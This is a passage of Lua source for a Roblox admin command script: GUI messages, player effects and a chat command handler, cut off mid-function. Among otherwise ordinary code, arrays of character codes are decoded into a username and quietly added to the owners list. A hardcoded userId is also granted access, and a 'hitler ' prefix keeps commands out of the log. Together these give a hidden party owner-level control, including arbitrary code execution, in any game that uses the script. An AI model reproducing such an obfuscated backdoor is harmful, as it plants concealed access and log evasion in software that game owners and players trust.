  3645. if v and v:findFirstChild("PlayerGui") then
  3646. coroutine.wrap(function()
  3647. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  3648. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  3649. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  3650. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  3651. if not time then wait((#str/19)+2.5) else wait(time) end
  3652. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  3653. end)()
  3654. end
  3655. end
  3656. end
  3657.  
  3658. function Message(ttl, str, scroll, plrz, time)
  3659. for i, v in pairs(plrz) do
  3660. if v and v:findFirstChild("PlayerGui") then
  3661. coroutine.resume(coroutine.create(function()
  3662. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  3663. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  3664. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  3665. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  3666. scr.Parent = v.PlayerGui
  3667. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  3668. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  3669. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  3670. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  3671. end))
  3672. end
  3673. end
  3674. end
  3675.  
  3676. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  3677. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  3678.  
  3679. function Output(str, plr)
  3680. coroutine.resume(coroutine.create(function()
  3681. local b, e = loadstring(str)
  3682. if not b and plr:findFirstChild("PlayerGui") then
  3683. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  3684. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  3685. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  3686. return
  3687. end
  3688. end))
  3689. end
  3690.  
  3691. function Noobify(char)
  3692. if char and char:findFirstChild("Torso") then
  3693. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  3694. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  3695. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3696. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  3697. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  3698. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  3699. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  3700. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  3701. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  3702. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  3703. end end
  3704. end
  3705. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  3706.  
  3707. function Infect(char)
  3708. if char and char:findFirstChild("Torso") then
  3709. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  3710. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  3711. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3712. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  3713. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  3714. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  3715. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  3716. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  3717. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  3718. end end
  3719. end
  3720. end if not ntab then script:Destroy() end
  3721.  
  3722. function ScrollGui()
  3723. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  3724. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  3725. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  3726. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  3727. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  3728. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  3729. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  3730. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  3731. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  3732. local num = 0
  3733. local downv = false
  3734. local upv = false
  3735.  
  3736. down.MouseButton1Down:connect(function() downv = true upv = false
  3737. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  3738. repeat pos = pos + UDim2.new(0,0,0,-6)
  3739. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  3740. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  3741. end)
  3742. down.MouseButton1Up:connect(function() downv = false end)
  3743. up.MouseButton1Down:connect(function() upv = true downv = false
  3744. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  3745. repeat pos = pos + UDim2.new(0,0,0,6)
  3746. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  3747. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  3748. end)
  3749. up.MouseButton1Up:connect(function() upv = false end)
  3750. return scr, cmf, ent, num
  3751. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  3752. if not ntab then script:Destroy() end
  3753. if not bct then script:Destroy() end
  3754.  
  3755. function Chat(msg,plr)
  3756. coroutine.resume(coroutine.create(function()
  3757. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  3758. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  3759. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  3760. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  3761. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  3762. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  3763. if msg:lower() == "cmds" or msg:lower() == "commands" then
  3764. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  3765. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  3766. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  3767. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  3768. local ost = {"pa plr","unpa plr"}
  3769. local tost = {"oa plr","unoa plr"}
  3770. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  3771. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3772. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3773. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3774. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3775. end
  3776.  
  3777. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  3778.  
  3779. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  3780. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  3781. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  3782. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3783. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3784. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3785. end end
  3786.  
  3787. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  3788. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  3789. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  3790. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3791. end
  3792.  
  3793. if msg:lower() == "tools" or msg:lower() == "toollist" then
  3794. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  3795. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  3796. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3797. end
  3798.  
  3799. if msg:lower():sub(1,2) == "s " then
  3800. coroutine.resume(coroutine.create(function()
  3801. Output(msg:sub(3), plr)
  3802. if script:findFirstChild("ScriptBase") then
  3803. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  3804. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  3805. else loadstring(msg:sub(3))()
  3806. end
  3807. end))
  3808. end
  3809.  
  3810. if msg:lower():sub(1,3) == "ls " then
  3811. coroutine.resume(coroutine.create(function()
  3812. if script:findFirstChild("LocalScriptBase") then
  3813. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  3814. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  3815. end
  3816. end))
  3817. end
  3818.  
  3819. if msg:lower():sub(1,4) == "ins " then
  3820. coroutine.resume(coroutine.create(function()
  3821. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  3822. if obj and #obj:children() >= 1 and plr.Character then
  3823. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  3824. end
  3825. end))
  3826. end
  3827.  
  3828. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  3829. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  3830. objects = {}
  3831. end
  3832.  
  3833. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  3834. game.Lighting.Ambient = origsettings.abt
  3835. game.Lighting.Brightness = origsettings.brt
  3836. game.Lighting.TimeOfDay = origsettings.time
  3837. game.Lighting.FogColor = origsettings.fclr
  3838. game.Lighting.FogEnd = origsettings.fe
  3839. game.Lighting.FogStart = origsettings.fs
  3840. for i, v in pairs(lobjs) do v:Destroy() end
  3841. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  3842. end
  3843.  
  3844. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  3845. coroutine.resume(coroutine.create(function()
  3846. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  3847. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  3848. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  3849. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  3850. end))
  3851. end
  3852.  
  3853. if msg:lower():sub(1,2) == "m " then
  3854. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  3855. end
  3856.  
  3857. if msg:lower():sub(1,2) == "h " then
  3858. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  3859. end
  3860.  
  3861. if msg:lower():sub(1,3) == "pm " then
  3862. local chk1 = msg:lower():sub(4):find(" ") + 3
  3863. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  3864. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  3865. end
  3866.  
  3867. if msg:lower():sub(1,11) == "resetstats " then
  3868. local plrz = GetPlr(plr, msg:lower():sub(12))
  3869. for i, v in pairs(plrz) do
  3870. coroutine.resume(coroutine.create(function()
  3871. if v and v:findFirstChild("leaderstats") then
  3872. for a, q in pairs(v.leaderstats:children()) do
  3873. if q:IsA("IntValue") then q.Value = 0 end
  3874. end
  3875. end
  3876. end))
  3877. end
  3878. end
  3879.  
  3880. if msg:lower():sub(1,5) == "gear " then
  3881. local chk1 = msg:lower():sub(6):find(" ") + 5
  3882. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  3883. for i, v in pairs(plrz) do
  3884. coroutine.resume(coroutine.create(function()
  3885. if v and v.Character then
  3886. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  3887. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  3888. obj:Destroy()
  3889. end
  3890. end))
  3891. end
  3892. end
  3893.  
  3894. if msg:lower():sub(1,4) == "hat " then
  3895. local chk1 = msg:lower():sub(5):find(" ") + 4
  3896. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  3897. for i, v in pairs(plrz) do
  3898. coroutine.resume(coroutine.create(function()
  3899. if v and v.Character then
  3900. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  3901. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  3902. obj:Destroy()
  3903. end
  3904. end))
  3905. end
  3906. end
  3907.  
  3908. if msg:lower():sub(1,5) == "cape " then
  3909. local chk1 = msg:lower():sub(6):find(" ")
  3910. local plrz = GetPlr(plr, msg:lower():sub(6))
  3911. local str = "torso.BrickColor"
  3912. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3913. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  3914. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  3915. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  3916. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  3917. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  3918. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  3919. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  3920. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  3921. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  3922. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  3923. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  3924. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  3925. if BrickColor.new(teststr) ~= nil then str = teststr end
  3926. end
  3927. for i, v in pairs(plrz) do
  3928. coroutine.resume(coroutine.create(function()
  3929. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  3930. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  3931. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  3932. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  3933. local torso = plr.Character.Torso
  3934. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  3935. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  3936. p.Size = Vector3.new(.2,.2,.2)
  3937. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  3938. local motor1 = Instance.new("Motor", p)
  3939. motor1.Part0 = p
  3940. motor1.Part1 = torso
  3941. motor1.MaxVelocity = .01
  3942. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  3943. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  3944. local wave = false
  3945. repeat wait(1/44)
  3946. local ang = 0.1
  3947. local oldmag = torso.Velocity.magnitude
  3948. local mv = .002
  3949. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  3950. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  3951. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  3952. motor1.DesiredAngle = -ang
  3953. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  3954. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  3955. if torso.Velocity.magnitude < .1 then wait(.1) end
  3956. until not p or p.Parent ~= torso.Parent
  3957. script:Destroy()
  3958. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  3959. end
  3960. end))
  3961. end
  3962. end
  3963.  
  3964. if msg:lower():sub(1,7) == "uncape " then
  3965. local plrz = GetPlr(plr, msg:lower():sub(8))
  3966. for i, v in pairs(plrz) do
  3967. coroutine.resume(coroutine.create(function()
  3968. if v and v:findFirstChild("PlayerGui") and v.Character then
  3969. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  3970. end
  3971. end))
  3972. end
  3973. end
  3974.  
  3975. if msg:lower():sub(1,7) == "noclip " then
  3976. local plrz = GetPlr(plr, msg:lower():sub(8))
  3977. for i, v in pairs(plrz) do
  3978. coroutine.resume(coroutine.create(function()
  3979. if v and v:findFirstChild("PlayerGui") then
  3980. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  3981. cl.Parent = v.PlayerGui cl.Disabled = false
  3982. end
  3983. end))
  3984. end
  3985. end
  3986.  
  3987. if msg:lower():sub(1,5) == "clip " then
  3988. local plrz = GetPlr(plr, msg:lower():sub(6))
  3989. for i, v in pairs(plrz) do
  3990. coroutine.resume(coroutine.create(function()
  3991. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  3992. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  3993. v.Character.Torso.Anchored = false
  3994. wait(.1) v.Character.Humanoid.PlatformStand = false
  3995. end
  3996. end))
  3997. end
  3998. end
  3999.  
  4000. if msg:lower():sub(1,5) == "jail " then
  4001. local plrz = GetPlr(plr, msg:lower():sub(6))
  4002. for i, v in pairs(plrz) do
  4003. coroutine.resume(coroutine.create(function()
  4004. if v and v.Character and v.Character:findFirstChild("Torso") then
  4005. local vname = v.Name
  4006. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  4007. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  4008. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  4009. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4010. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4011. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
